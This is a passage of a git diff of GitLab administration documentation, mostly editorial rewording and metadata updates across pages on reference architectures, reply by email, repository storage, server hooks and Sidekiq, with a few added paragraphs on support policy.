value should be reduced -accordingly. We've determined that a worker value of 50% achieves a good balance, -but this is dependent on workload. - On each node perform the following: 1. If you're [using NFS](#configure-nfs-optional): @@ -1733,7 +1782,7 @@ on what features you intend to use: |Object storage type|Supported by consolidated configuration?| |-------------------|----------------------------------------| -| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No| +| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No | | [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes | | [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | | [Uploads](../uploads.md#using-object-storage) | Yes | diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md index 8816d0eecf4..6b04dad9baf 100644 --- a/doc/administration/reference_architectures/index.md +++ b/doc/administration/reference_architectures/index.md @@ -2,14 +2,14 @@ type: reference, concepts stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reference architectures You can set up GitLab on a single server or scale it up to serve many users. This page details the recommended Reference Architectures that were built and -verified by GitLab's Quality and Support teams. +verified by the GitLab Quality and Support teams. Below is a chart representing each architecture tier and the number of users they can handle. As your number of users grow with time, it’s recommended that @@ -18,8 +18,8 @@ you scale GitLab accordingly.  <!-- Internal link: https://docs.google.com/spreadsheets/d/1obYP4fLKkVVDOljaI3-ozhmCiPtEeMblbBKkf2OADKs/edit#gid=1403207183 --> -Testing on these reference architectures were performed with -[GitLab's Performance Tool](https://gitlab.com/gitlab-org/quality/performance) +Testing on these reference architectures was performed with the +[GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) at specific coded workloads, and the throughputs used for testing were calculated based on sample customer data. Select the [reference architecture](#available-reference-architectures) that matches your scale. @@ -36,8 +36,8 @@ the [default setup](#automated-backups) by [installing GitLab](../../install/README.md) on a single machine to minimize maintenance and resource costs. -If your organization has more than 2,000 users, the recommendation is to scale -GitLab's components to multiple machine nodes. The machine nodes are grouped by +If your organization has more than 2,000 users, the recommendation is to scale the +GitLab components to multiple machine nodes. The machine nodes are grouped by components. The addition of these nodes increases the performance and scalability of to your GitLab instance. @@ -47,7 +47,7 @@ When scaling GitLab, there are several factors to consider: - A load balancer is added in front to distribute traffic across the application nodes. - The application nodes connects to a shared file server and PostgreSQL and Redis services on the backend. -NOTE: **Note:** +NOTE: Depending on your workflow, the following recommended reference architectures may need to be adapted accordingly. Your workload is influenced by factors including how active your users are, how much automation you use, mirroring, @@ -68,6 +68,11 @@ The following reference architectures are available: - [Up to 25,000 users](25k_users.md) - [Up to 50,000 users](50k_users.md) +A GitLab [Premium or Ultimate](https://about.gitlab.com/pricing/#self-managed) license is required +to get assistance from Support with troubleshooting the [2,000 users](2k_users.md) +and higher reference architectures. +[Read more about our definition of scaled architectures](https://about.gitlab.com/support/#definition-of-scaled-architecture). + ## Availability Components GitLab comes with the following components for your use, listed from least to @@ -151,7 +156,27 @@ is recommended. instance to other geographical locations as a read-only fully operational instance that can also be promoted in case of disaster. -## Configuring select components with Cloud Native Helm +## Deviating from the suggested reference architectures + +As a general rule of thumb, the further away you move from the Reference Architectures, +the harder it will be get support for it. With any deviation, you're introducing +a layer of complexity that will add challenges to finding out where potential +issues might lie. + +The reference architectures use the official GitLab Linux packages (Omnibus +GitLab) to install and configure the various components (with one notable exception being the suggested select Cloud Native installation method described below). The components are +installed on separate machines (virtualized or bare metal), with machine hardware +requirements listed in the "Configuration" column and equivalent VM standard sizes listed +in GCP/AWS/Azure columns of each [available reference architecture](#available-reference-architectures). + +Running components on Docker (including Compose) with the same specs should be fine, as Docker is well known in terms of support. +However, it is still an additional layer and may still add some support complexities, such as not being able to run `strace` easily in containers. + +Other technologies, like [Docker swarm](https://docs.docker.com/engine/swarm/) +are not officially supported, but can be implemented at your own risk. In that +case, GitLab Support will not be able to help you. + +### Configuring select components with Cloud Native Helm We also provide [Helm charts](https://docs.gitlab.com/charts/) as a Cloud Native installation method for GitLab. For the reference architectures, select components can be set up in this diff --git a/doc/administration/reference_architectures/troubleshooting.md b/doc/administration/reference_architectures/troubleshooting.md index db2e9b89ba2..406ff57c66d 100644 --- a/doc/administration/reference_architectures/troubleshooting.md +++ b/doc/administration/reference_architectures/troubleshooting.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Troubleshooting a reference architecture setup @@ -434,13 +434,13 @@ If the monitoring node is not receiving any data, check that the exporters are capturing data. ```shell -curl http[s]://localhost:<EXPORTER LISTENING PORT>/metric +curl "http[s]://localhost:<EXPORTER LISTENING PORT>/metric" ``` or ```shell -curl http[s]://localhost:<EXPORTER LISTENING PORT>/-/metric +curl "http[s]://localhost:<EXPORTER LISTENING PORT>/-/metric" ``` ## Troubleshooting PgBouncer diff --git a/doc/administration/reply_by_email.md b/doc/administration/reply_by_email.md index 4108635ba2c..ebb9e086cb7 100644 --- a/doc/administration/reply_by_email.md +++ b/doc/administration/reply_by_email.md @@ -1,7 +1,7 @@ --- stage: Plan group: Certify -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Reply by email @@ -15,34 +15,40 @@ replying to notification emails. Make sure [incoming email](incoming_email.md) is set up. -## How it works? +## How it works -### 1. GitLab sends a notification email +Replying by email happens in three steps: + +1. GitLab sends a notification email. +1. You reply to the notification email. +1. GitLab receives your reply to the notification email. + +### GitLab sends a notification email When GitLab sends a notification and Reply by email is enabled, the `Reply-To` header is set to the address defined in your GitLab configuration, with the `%{key}` placeholder (if present) replaced by a specific "reply key". In addition, this "reply key" is also added to the `References` header. -### 2. You reply to the notification email +### You reply to the notification email -When you reply to the notification email, your email client will: +When you reply to the notification email, your email client: -- send the email to the `Reply-To` address it got from the notification email -- set the `In-Reply-To` header to the value of the `Message-ID` header from the +- sends the email to the `Reply-To` address it got from the notification email +- sets the `In-Reply-To` header to the value of the `Message-ID` header from the notification email -- set the `References` header to the value of the `Message-ID` plus the value of +- sets the `References` header to the value of the `Message-ID` plus the value of the notification email's `References` header. -### 3. GitLab receives your reply to the notification email +### GitLab receives your reply to the notification email -When GitLab receives your reply, it will look for the "reply key" in the +When GitLab receives your reply, it looks for the "reply key" in the following headers, in this order: 1. the `To` header 1. the `References` header -If it finds a reply key, it will be able to leave your reply as a comment on +If it finds a reply key, it leaves your reply as a comment on the entity the notification was about (issue, merge request, commit...). For more details about the `Message-ID`, `In-Reply-To`, and `References headers`, diff --git a/doc/administration/reply_by_email_postfix_setup.md b/doc/administration/reply_by_email_postfix_setup.md index aaadeef8bf5..f310ef04295 100644 --- a/doc/administration/reply_by_email_postfix_setup.md +++ b/doc/administration/reply_by_email_postfix_setup.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Set up Postfix for incoming email @@ -91,7 +91,7 @@ The instructions make the assumption that you will be using the email address `i quit ``` - NOTE: **Note:** + NOTE: The `.` is a literal period on its own line. If you receive an error after entering `rcpt to: incoming@localhost` @@ -272,7 +272,7 @@ Courier, which we will install later to add IMAP authentication, requires mailbo quit ``` - NOTE: **Note:** + NOTE: The `.` is a literal period on its own line. 1. Check if the `incoming` user received the email: diff --git a/doc/administration/repository_checks.md b/doc/administration/repository_checks.md index 7d79840b56d..6f7a72a0ef2 100644 --- a/doc/administration/repository_checks.md +++ b/doc/administration/repository_checks.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- @@ -17,7 +17,7 @@ before the check result is visible on the project admin page. If the checks failed you can see their output on in the [`repocheck.log` file.](logs.md#repochecklog) -NOTE: **Note:** +NOTE: It is OFF by default because it still causes too many false alarms. ## Periodic checks diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md index 16e17458e10..090f95eca12 100644 --- a/doc/administration/repository_storage_paths.md +++ b/doc/administration/repository_storage_paths.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -40,35 +40,34 @@ storage2: ## Configure GitLab -> **Warning:** -> In order for [backups](../raketasks/backup_restore.md) to work correctly, the storage path must **not** be a -> mount point and the GitLab user should have correct permissions for the parent -> directory of the path. In Omnibus GitLab this is taken care of automatically, -> but for source installations you should be extra careful. -> -> The thing is that for compatibility reasons `gitlab.yml` has a different -> structure than Omnibus. In `gitlab.yml` you indicate the path for the -> repositories, for example `/home/git/repositories`, while in Omnibus you -> indicate `git_data_dirs`, which for the example above would be `/home/git`. -> Then, Omnibus will create a `repositories` directory under that path to use with -> `gitlab.yml`. -> -> This little detail matters because while restoring a backup, the current -> contents of `/home/git/repositories` [are moved to](https://gitlab.com/gitlab-org/gitlab/blob/033e5423a2594e08a7ebcd2379bd2331f4c39032/lib/backup/repository.rb#L54-56) `/home/git/repositories.old`, -> so if `/home/git/repositories` is the mount point, then `mv` would be moving -> things between mount points, and bad things could happen. Ideally, -> `/home/git` would be the mount point, so then things would be moving within the -> same mount point. This is guaranteed with Omnibus installations (because they -> don't specify the full repository path but the parent path), but not for source -> installations. +In order for [backups](../raketasks/backup_restore.md) to work correctly, the storage path must **not** be a +mount point and the GitLab user should have correct permissions for the parent +directory of the path. In Omnibus GitLab this is taken care of automatically, +but for source installations you should be extra careful. + +The thing is that for compatibility reasons `gitlab.yml` has a different +structure than Omnibus. In `gitlab.yml` you indicate the path for the +repositories, for example `/home/git/repositories`, while in Omnibus you +indicate `git_data_dirs`, which for the example above would be `/home/git`. +Then, Omnibus creates a `repositories` directory under that path to use with +`gitlab.yml`. + +This little detail matters because while restoring a backup, the current +contents of `/home/git/repositories` [are moved to](https://gitlab.com/gitlab-org/gitlab/blob/033e5423a2594e08a7ebcd2379bd2331f4c39032/lib/backup/repository.rb#L54-56) `/home/git/repositories.old`, +so if `/home/git/repositories` is the mount point, then `mv` would be moving +things between mount points, and bad things could happen. Ideally, +`/home/git` would be the mount point, so then things would be moving within the +same mount point. This is guaranteed with Omnibus installations (because they +don't specify the full repository path but the parent path), but not for source +installations. Now that you've read that big fat warning above, let's edit the configuration files and add the full paths of the alternative repository storage paths. In the example below, we add two more mount points that are named `nfs_1` and `nfs_2` respectively. -NOTE: **Note:** -This example uses NFS. We do not recommend using EFS for storage as it may impact GitLab's performance. See the [relevant documentation](nfs.md#avoid-using-awss-elastic-file-system-efs) for more details. +NOTE: +This example uses NFS. We do not recommend using EFS for storage as it may impact GitLab performance. See the [relevant documentation](nfs.md#avoid-using-awss-elastic-file-system-efs) for more details. **For installations from source** @@ -89,9 +88,8 @@ This example uses NFS. We do not recommend using EFS for storage as it may impac 1. [Restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -NOTE: **Note:** -The [`gitlab_shell: repos_path` entry](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-9-stable/config/gitlab.yml.example#L457) in `gitlab.yml` will be -deprecated and replaced by `repositories: storages` in the future, so if you +NOTE: +We plan to replace [`gitlab_shell: repos_path` entry](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-9-stable/config/gitlab.yml.example#L457) in `gitlab.yml` with `repositories: storages`. If you are upgrading from a version prior to 8.10, make sure to add the configuration as described in the step above. After you make the changes and confirm they are working, you can remove the `repos_path` line. @@ -112,16 +110,15 @@ working, you can remove the `repos_path` line. Note that Omnibus stores the repositories in a `repositories` subdirectory of the `git-data` directory. -## Choose where new repositories will be stored +## Choose where new repositories are stored Once you set the multiple storage paths, you can choose where new repositories -will be stored under **Admin Area > Settings > Repository > -Repository storage > Storage nodes for new repositories**. +are stored in the Admin Area under **Settings > Repository > Repository storage > Storage nodes for new repositories**. Each storage can be assigned a weight from 0-100. When a new project is created, these -weights are used to determine the storage location the repository will be created on. +weights are used to determine the storage location the repository is created on.  Beginning with GitLab 8.13.4, multiple paths can be chosen. New repositories -will be randomly placed on one of the selected paths. +are randomly placed on one of the selected paths. diff --git a/doc/administration/repository_storage_types.md b/doc/administration/repository_storage_types.md index d2d492c8f1a..6ec43a8ce06 100644 --- a/doc/administration/repository_storage_types.md +++ b/doc/administration/repository_storage_types.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -19,7 +19,7 @@ locations that can be: - Accessed via [Gitaly](gitaly/index.md) on its own machine. In GitLab, this is configured in `/etc/gitlab/gitlab.rb` by the `git_data_dirs({})` -configuration hash. The storage layouts discussed here will apply to any shard +configuration hash. The storage layouts discussed here apply to any shard defined in it. The `default` repository shard that is available in any installations @@ -28,24 +28,24 @@ Anything discussed below is expected to be part of that folder. ## Hashed storage -NOTE: **Note:** +NOTE: In GitLab 13.0, hashed storage is enabled by default and the legacy storage is -deprecated. Support for legacy storage will be removed in GitLab 14.0. +deprecated. Support for legacy storage is scheduled to be removed in GitLab 14.0. If you haven't migrated yet, check the [migration instructions](raketasks/storage.md#migrate-to-hashed-storage). The option to choose between hashed and legacy storage in the admin area has been disabled. Hashed storage is the storage behavior we rolled out with 10.0. Instead -of coupling project URL and the folder structure where the repository will be +of coupling project URL and the folder structure where the repository is stored on disk, we are coupling a hash, based on the project's ID. This makes the folder structure immutable, and therefore eliminates any requirement to synchronize state from URLs to disk structure. This means that renaming a group, -user, or project will cost only the database transaction, and will take effect +user, or project costs only the database transaction, and takes effect immediately. The hash also helps to spread the repositories more evenly on the disk, so the -top-level directory will contain less folders than the total amount of top-level +top-level directory contains fewer folders than the total number of top-level namespaces. The hash format is based on the hexadecimal representation of SHA256: @@ -64,7 +64,7 @@ by another folder with the next 2 characters. They are both stored in a special ### Translating hashed storage paths Troubleshooting problems with the Git repositories, adding hooks, and other -tasks will require you translate between the human readable project name +tasks requires you translate between the human readable project name and the hashed storage path. #### From project name to hashed path @@ -102,7 +102,7 @@ To translate from a hashed storage path to a project name: ProjectRepository.find_by(disk_path: '@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9').project ``` -The quoted string in that command is the directory tree you'll find on your +The quoted string in that command is the directory tree you can find on your GitLab server. For example, on a default Omnibus installation this would be `/var/opt/gitlab/git-data/repositories/@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9.git` with `.git` from the end of the directory name removed. @@ -117,7 +117,7 @@ The output includes the project ID and the project name: > [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/1606) in GitLab 12.1. -DANGER: **Warning:** +WARNING: Do not run `git prune` or `git gc` in pool repositories! This can cause data loss in "real" repositories that depend on the pool in question. @@ -135,7 +135,7 @@ when housekeeping is run on the source project. ### Hashed storage coverage migration -Files stored in an S3 compatible endpoint will not have the downsides +Files stored in an S3-compatible endpoint do not have the downsides mentioned earlier, if they are not prefixed with `#{namespace}/#{project_name}`, which is true for CI Cache and LFS Objects. @@ -179,11 +179,11 @@ LFS objects are also [S3 compatible](lfs/index.md#storing-lfs-objects-in-remote- ## Legacy storage -NOTE: **Deprecated:** +WARNING: In GitLab 13.0, hashed storage is enabled by default and the legacy storage is deprecated. If you haven't migrated yet, check the [migration instructions](raketasks/storage.md#migrate-to-hashed-storage). -Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab +Support for legacy storage is scheduled to be removed in GitLab 14.0. If you're on GitLab 13.0 and later, switching new projects to legacy storage is not possible. The option to choose between hashed and legacy storage in the admin area has been disabled. @@ -199,7 +199,7 @@ easy for Administrators to find where the repository is stored. On the other hand this has some drawbacks: -Storage location will concentrate huge amount of top-level namespaces. The +Storage location concentrates a huge number of top-level namespaces. The impact can be reduced by the introduction of [multiple storage paths](repository_storage_paths.md). @@ -209,6 +209,6 @@ an old removed or renamed project sharing the same URL. This means that `mygroup/myproject` from your backup may not be the same original project that is at that same URL today. -Any change in the URL will need to be reflected on disk (when groups / users or +Any change in the URL needs to be reflected on disk (when groups / users or projects are renamed). This can add a lot of load in big installations, especially if using any type of network based filesystem. diff --git a/doc/administration/repository_storages.md b/doc/administration/repository_storages.md index af7a385e5a0..93d0ee3cac9 100644 --- a/doc/administration/repository_storages.md +++ b/doc/administration/repository_storages.md @@ -3,3 +3,6 @@ redirect_to: 'repository_storage_paths.md' --- This document was moved to [another location](repository_storage_paths.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/restart_gitlab.md b/doc/administration/restart_gitlab.md index f6a4a39ad60..4f104c6a63f 100644 --- a/doc/administration/restart_gitlab.md +++ b/doc/administration/restart_gitlab.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # How to restart GitLab diff --git a/doc/administration/scaling/index.md b/doc/administration/scaling/index.md index 748373c8941..4f934646ed6 100644 --- a/doc/administration/scaling/index.md +++ b/doc/administration/scaling/index.md @@ -3,3 +3,6 @@ redirect_to: ../reference_architectures/index.md --- This document was moved to [another location](../reference_architectures/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/server_hooks.md b/doc/administration/server_hooks.md index b5e975d397f..645d3bc4e9f 100644 --- a/doc/administration/server_hooks.md +++ b/doc/administration/server_hooks.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto disqus_identifier: 'https://docs.gitlab.com/ee/administration/custom_hooks.html' --- @@ -85,7 +85,7 @@ configuration: - GitLab 13.0 and earlier, this is set in `gitlab-shell/config.yml`. - GitLab 13.1 and later, this is set in `gitaly/config.toml` under the `[hooks]` section. -NOTE: **Note:** +NOTE: The `custom_hooks_dir` value in `gitlab-shell/config.yml` is still honored in GitLab 13.1 and later if the value in `gitaly/config.toml` is blank or non-existent. @@ -123,13 +123,13 @@ Within a directory, server hooks: - Are executed in alphabetical order. - Stop executing when a hook exits with a non-zero value. -Note: +`<hook_name>.d` must be either `pre-receive.d`, `post-receive.d`, or `update.d` to work properly. +Any other names are ignored. -- `<hook_name>.d` must be either `pre-receive.d`, `post-receive.d`, or `update.d` to work properly. - Any other names are ignored. -- Files in `.d` directories must be executable and not match the backup file pattern (`*~`). -- For `<project>.git` you need to [translate](repository_storage_types.md#translating-hashed-storage-paths) - your project name into the hashed storage format that GitLab uses. +Files in `.d` directories must be executable and not match the backup file pattern (`*~`). + +For `<project>.git` you need to [translate](repository_storage_types.md#translating-hashed-storage-paths) +your project name into the hashed storage format that GitLab uses. ## Environment Variables @@ -152,7 +152,7 @@ Pre-receive and post-receive server hooks can also access the following Git envi | `GIT_PUSH_OPTION_COUNT` | Number of push options. See [Git `pre-receive` documentation](https://git-scm.com/docs/githooks#pre-receive). | | `GIT_PUSH_OPTION_<i>` | Value of push options where `i` is from `0` to `GIT_PUSH_OPTION_COUNT - 1`. See [Git `pre-receive` documentation](https://git-scm.com/docs/githooks#pre-receive). | -NOTE: **Note:** +NOTE: While other environment variables can be passed to server hooks, your application should not rely on them as they can change. @@ -160,7 +160,7 @@ them as they can change. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5073) in GitLab 8.10. -To have custom error messages appear in GitLab's UI when a commit is declined or an error occurs +To have custom error messages appear in the GitLab UI when a commit is declined or an error occurs during the Git hook, your script should: - Send the custom error messages to either the script's `stdout` or `stderr`. @@ -168,7 +168,7 @@ during the Git hook, your script should: ### Example custom error message -This hook script written in Bash generates the following message in GitLab's UI: +This hook script written in Bash generates the following message in the GitLab UI: ```shell #!/bin/sh diff --git a/doc/administration/sidekiq.md b/doc/administration/sidekiq.md index 2cc6acc8c87..a97eff23c2f 100644 --- a/doc/administration/sidekiq.md +++ b/doc/administration/sidekiq.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -25,8 +25,9 @@ you want using steps 1 and 2 from the GitLab downloads page. ## Optional: Enable extra Sidekiq processes sidekiq_cluster['enable'] = true - sidekiq_cluster['enable'] = true - "elastic_indexer" + sidekiq['queue_groups'] = [ + "elastic_indexer", + "*" ] ``` diff --git a/doc/administration/smime_signing_email.md b/doc/administration/smime_signing_email.md index f5b40210e62..7492bf4457a 100644 --- a/doc/administration/smime_signing_email.md +++ b/doc/administration/smime_signing_email.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Signing outgoing email with S/MIME @@ -26,7 +26,7 @@ files must be provided: Optionally, you can also provide a bundle of CA certs (PEM-encoded) to be included on each signature. This will typically be an intermediate CA. -CAUTION: **Caution:** +WARNING: Be mindful of the access levels for your private keys and visibility to third parties. diff --git a/doc/administration/snippets/index.md b/doc/administration/snippets/index.md index 5e61d20c683..0bf0eb3b1ed 100644 --- a/doc/administration/snippets/index.md +++ b/doc/administration/snippets/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" --- # Snippets settings **(CORE ONLY)** @@ -29,7 +29,7 @@ This setting is not available through the [Admin Area settings](../../user/admin In order to configure this setting, use either the Rails console or the [Application settings API](../../api/settings.md). -NOTE: **IMPORTANT:** +NOTE: The value of the limit **must** be in bytes. #### Through the Rails console @@ -64,11 +64,11 @@ The process to set the snippets size limit through the Application Settings API exactly the same as you would do to [update any other setting](../../api/settings.md#change-application-settings). ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings?snippet_size_limit=52428800 +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings?snippet_size_limit=52428800" ``` You can also use the API to [retrieve the current value](../../api/settings.md#get-current-application-settings). ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings" ``` diff --git a/doc/administration/static_objects_external_storage.md b/doc/administration/static_objects_external_storage.md index 34c7c8947fc..b10af12de67 100644 --- a/doc/administration/static_objects_external_storage.md +++ b/doc/administration/static_objects_external_storage.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md index 55e166d2bf7..edd44380f30 100644 --- a/doc/administration/terraform_state.md +++ b/doc/administration/terraform_state.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Terraform state administration (alpha) @@ -20,7 +20,7 @@ These locations can be configured using the options described below. ## Using local storage -NOTE: **Note:** +NOTE: This is the default configuration To change the location where Terraform state files are stored locally, follow the steps @@ -52,8 +52,8 @@ below. ## Using object storage **(CORE ONLY)** -Instead of storing Terraform state files on disk, we recommend the use of an object -store that is S3-compatible instead. This configuration relies on valid credentials to +Instead of storing Terraform state files on disk, we recommend the use of [one of the supported object +storage options](object_storage.md#options). This configuration relies on valid credentials to be configured already. [Read more about using object storage with GitLab](object_storage.md). @@ -68,7 +68,7 @@ The following settings are: | Setting | Description | Default | |---------|-------------|---------| | `enabled` | Enable/disable object storage | `false` | -| `remote_directory` | The bucket name where Terraform state files will be stored | | +| `remote_directory` | The bucket name where Terraform state files are stored | | | `connection` | Various connection options described below | | ### S3-compatible connection settings @@ -91,7 +91,7 @@ See [the available connection settings for different providers](object_storage.m } ``` - NOTE: **Note:** + NOTE: If you are using AWS IAM profiles, be sure to omit the AWS access key and secret access key/value pairs. ```ruby diff --git a/doc/administration/timezone.md b/doc/administration/timezone.md index bec82f66948..798e7f5050c 100644 --- a/doc/administration/timezone.md +++ b/doc/administration/timezone.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Changing your time zone @@ -20,7 +20,7 @@ To see all available time zones, run `bundle exec rake time:zones:all`. For Omnibus installations, run `gitlab-rake time:zones:all`. -NOTE: **Note:** +NOTE: This Rake task does not list timezones in TZInfo format required by Omnibus GitLab during a reconfigure: [#27209](https://gitlab.com/gitlab-org/gitlab/-/issues/27209). ## Changing time zone in Omnibus installations diff --git a/doc/administration/troubleshooting/debug.md b/doc/administration/troubleshooting/debug.md index d67c9963092..8c8fa25aa5e 100644 --- a/doc/administration/troubleshooting/debug.md +++ b/doc/administration/troubleshooting/debug.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Debugging Tips diff --git a/doc/administration/troubleshooting/diagnostics_tools.md b/doc/administration/troubleshooting/diagnostics_tools.md index 132f8524ca1..27a7493b318 100644 --- a/doc/administration/troubleshooting/diagnostics_tools.md +++ b/doc/administration/troubleshooting/diagnostics_tools.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/administration/troubleshooting/elasticsearch.md b/doc/administration/troubleshooting/elasticsearch.md index 12aa91e6f14..755273eb06e 100644 --- a/doc/administration/troubleshooting/elasticsearch.md +++ b/doc/administration/troubleshooting/elasticsearch.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Global Search -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Troubleshooting Elasticsearch diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md index cae4aa96f75..2482a4fe7ad 100644 --- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md +++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer 